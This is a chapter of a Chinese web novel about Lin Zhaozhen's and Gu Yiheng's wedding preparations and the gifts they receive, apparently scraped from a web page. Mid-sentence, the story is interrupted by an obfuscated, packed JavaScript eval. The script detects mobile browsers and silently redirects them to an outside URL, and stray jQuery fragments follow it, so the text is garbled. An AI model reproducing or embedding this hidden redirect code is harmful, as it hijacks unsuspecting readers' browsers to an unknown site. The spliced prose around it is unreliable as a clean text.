16. 第 16 章 送礼

作品:《贞恒

    “二哥今天看上去规矩多了,大婚那日可要好好保持!”陆仁歪嘴笑道。


    吕茂挥手让他滚一边去:“少打趣老子,再叫嚷试试,老子让你这皮猴儿上!”


    张绣看了一眼陆仁,摇摇头,想说什么又没说出口。


    张山懂妹妹心思,替她说道:“可别,三哥这样子唬不了人,还得靠二哥撑娘家人的派头来,叫人不敢欺负了去。”


    顾平韫弯眉一竖:“我家嫂嫂,谁要敢欺负,我就上门去跟他说道说道。”


    “你这妮子,还不消停些。”顾母伸指点了点小丫头的眉心,让她坐好。


    “知道了,娘亲!”顾平韫冲张绣吐了吐舌头,惹得对方抿嘴偷笑。


    长辈赠礼后,众人开始商讨起大婚事宜,各自领了任务,只为十日后婚宴顺利。


    林昭贞和顾夷恒抽空携了描金请柬拜访谢炎,正巧那日的主审官也在宅里吃茶赏菊,听闻喜讯,主审官道:“顾大人冤情得雪,不日又要和林姑娘成婚,真是双喜临门啊!只是谢大人身为钦差,这几日便要出发去浙江巡察,怕是……”一番祝贺情真意切,全然不见当日“不认有不认的审法”那般倨傲模样。


    “喜酒岂能不喝,顾大人和林姑娘大婚,谢某焉有不到之理?浙江早迟要去,便晚几日也无妨。只求毕大人不嫌我多待这些时日,又给秦京官员们多生些麻烦。”谢炎奉旨巡察,从司法到民生再到军事,无所不包,无所不管,每到一处,当地官员头疼之余还得殷勤奉承。他这话,很有自知之明。


    毕大人诚惶诚恐地道:“谢大人肯多留些日子,那是整个秦京的荣幸,我们高兴还来不及呢!”


    “那就太好了!”谢炎亲手取了琉璃酒具,为林、顾斟上,琥珀色的酒液在杯中流转,映着他含笑的眉眼:“二位情义感天动地,谢炎届时定要讨个‘永结同心’的好彩头。”


    毕大人眼珠一转,连忙给自个儿倒了杯酒,掐着点儿和几人一同饮下:“毕某也想同去沾沾喜气,顾大人不会嫌弃吧?”


    回客栈的路上,顾夷恒若有所思:“这谢大人公务在身,却临时改主意要亲临婚宴,我看他的神情奇怪,像是等着看什么好戏似的,莫非秦京这地还有什么蹊跷要查……”


    林昭贞笑了笑:“自我认识谢大人,他多是这副模样,看什么都饶有兴趣的模样。倒是那位毕大人,变脸的本事炉火纯青,怕是川剧大师来了都要甘拜下风。”


    “察言观色,见风使舵,可是当官的看家本领。”他轻叹一声,目光微黯。


    她意外地一挑眉:“你为他说话?我以为你会讨厌他呢!”


    “人在朝堂,身不由己,我只是实话实说罢了。”他在心里自嘲:我又何尝不是如此。


    林昭贞想起一事:“难怪这些日子总见小刀、李良忙前忙后,给裴中堂送了一车又一车的礼……”


    顾夷恒脚步一顿,声音忽然低了几分:“你可会……”他目光闪烁,竟不敢直视她的眼睛。


    林昭贞双手捧住他的脸,强迫他与自己对视。秋日阳光透过树叶间隙,在她眸中洒下细碎光芒:“大丈夫能屈能伸,你这么做,我只会敬重你,心疼你。只是……”拇指轻轻摩挲着他紧绷的下颌线,“待情况好转,望大哥能多为百姓做些实事。”


    “一定。”顾夷恒将她揽入怀中,声音闷在她的发间。他想起那些年她颠沛流离的模样,若是天下百姓都能少受些苦,她身为其中一员,当初是否就不用经历那些……


    秋叶飞舞,偶有几片绕着依偎的两人身边飘落。


    冷清街头偶尔传来轻微脚步声,让凉风一吹,更加几不可闻。


    婚礼筹备得匆忙,客栈最好的厢房被布置为婚房,另临时租了一处宅院权当林昭贞的“娘家”所在。


    林昭贞带着张绣、吕茂、陆仁,这几日都住在此处。


    这日刚入夜,便有人悄然登门。


    为首的管事恭敬道:“我家公子蒙林姑娘当年搭救,特备了薄礼恭贺姑娘新婚。”说罢呈上礼单,指挥下人将十余口描金红木箱抬入院中,便匆匆离去。


    陆仁伸头去看,没看到一匹马、一辆车,这么多东西竟全靠人力搬运过来!几十人的队伍,路上未曾发出半点声响,来去皆无人察觉。


    “天呐,这嫁衣真好看!鞋子也精巧!”张绣掀开盖在黑檀木盘上的绸布,只见盘上放了一顶纯金打造的镂空凤冠,一对金镶玉耳坠,一对龙凤镯,底下压着一套大红嫁衣,旁边还有一双红底牡丹珍珠翘头履。


    那对襟嫁衣以金线绣出栩栩如生的凤凰,展翅盘旋在梧桐树上,树下梧桐花瓣飞舞盘旋,天边彩霞连绵漫天,灯火跳跃间,丝线映出温润光泽,流光溢彩,甚是绚丽。两边衣襟从上往下缀了一列大小均匀的浑圆白珍珠,光莹润泽,最亮处如一颗璀璨星点,星星点点连在一块儿仿若星河垂落。


    吕茂嗤之以鼻:“衣服鞋子再好看能当饭吃?这顶金帽子才值老鼻子钱呢!”


    那凤冠也非凡品,山水虫鸟之上,凤凰傲然飞翔,口衔一颗夜明珠比拟明月,高雅之中尽显雍容富贵。


    张绣痴迷刺绣,为那嫁衣精巧无双的绣工倾倒,没留意凤冠的工艺也是世间罕见,一看之下惊得她捂住了嘴。


    “不止,还有房契、地契,名贵药材……究竟谁这么大手笔?”陆仁打开一个又一个箱子,看得是眼花缭乱,叹为观止,“贞姐,你该不会是什么流落民间的公主、郡主吧?不然我真想不通你怎么请动的谢大人,还有这些贺礼,分明就是按嫁妆置办的……”


    “别瞎猜,这是我救过的一个公子送的,没想到他弄了这么大的阵仗……”指尖抚过嫁衣上惟妙惟肖的绣纹,想起那日马车里曲临渊摩挲扳指的模样。这些贺礼太过贵重,饶是收礼从不客气的林昭贞也犯了难。


    嫁衣、婚鞋、喜被,张绣、顾平韫和顾母以及请来的绣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349274|167149||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘日夜赶工,已做得差不多了,亲人好友亲手所缝,那心意可比什么都珍贵,必得用上。凤冠、耳坠比这次临时置办的好,倒可一用。镯子就不用了,顾母在订婚宴上给了她一对祖传青绿翡翠镯,已然足够,贪多反倒不美。别的物件,除了药材,其它的先收着,日后有机会再还回去。


    并非不爱财,只是这礼过重了,尽数收下实在让她心难安。原本该当场让人抬回去,但那些人来得快,去得更快,眨眼的功夫便消失无踪。她知道这番行事必是曲临渊授意,他似乎还没摆脱当年的困境,虽然亲自来秦京帮她,却低调至极,从不在人前露面。便连送礼,也特意挑了入夜时分,悄无声息摸黑进门,又静悄悄地摸黑离去。她懂他的难处,不愿因此事耽误他们的时间,平添他暴露的风险。


    况且隐藏这段关系,也是为了保护自己。当年被杀手打下悬崖的事还历历在目,如今她有了许多羁绊,更不能犯傻了。


    夜风穿堂而过,吹得院里灯火摇曳,林昭贞起身关了窗,熄灯而卧。


    大婚那日,晨光微熹时,客站门前已挂起大红灯笼。


    顾家不是本地人,只邀了三五故交。林昭贞更是孑然一身,除了义兄义弟和三两好友,再无亲眷。


    可婚宴现场却出乎意料的热闹。


    谢炎一袭靛蓝常服,一早便携了一对玉如意进门:“谢某今日只做贺客。”


    许多本地官员及富商陆续登门道贺,比如那位毕大人:“夷恒得方将军青眼,又有谢大人相助,如今能与裴老冰释前嫌,实在可喜可贺!”比那日赏菊饮茶时更加热络。


    顾夷恒似乎早忘了他们在公堂之上那副嘴脸,与众人把酒言欢,好不开怀。


    “怀兰县令舒大人到!”


    舒怀德风尘仆仆跨进门来,下摆还沾着晨露。他借着来秦京上报之名,提前好几日出发,紧赶慢赶,总算在大婚这日入了城。


    “拙荆有孕在身,特命下官带来双喜绣屏。”舒怀德说着招呼仆人奉上礼盒,打开便可见一双交颈鸳鸯,在绣屏上那是活灵活现。


    顾夷恒与故人相聚,喜上眉梢,立时将舒怀德引荐给谢炎,谢炎一脸相识恨晚,几人相谈甚欢。


    顾夷恒这才从二人口中得知,舒怀德自他兵败入狱,便连同附近几个镇的乡贤老爷写下请愿书,号召百姓签了名摁了手印,还联系上离顾夷恒曾经管辖过的州县附近的友人,依样画葫芦辛苦得来的。


    “原来万民请愿书全仗怀德兄……”他深深一揖,喜袍下摆扫过青砖地面。他想起那些按满红手印的请愿书,喉头微哽。


    “夷恒快快起身!”舒怀德忙扶起他。


    “二位慢慢聊。”谢炎转身便陷入官员富商们的包围,游刃有余周旋其间,几乎不曾冷落了谁,长袖善舞的样子,像只穿梭在花丛中的花蝴蝶。难怪作为天子近臣,明明不站别的任何一方势力,却人脉甚广,任谁都得给他几分薄面。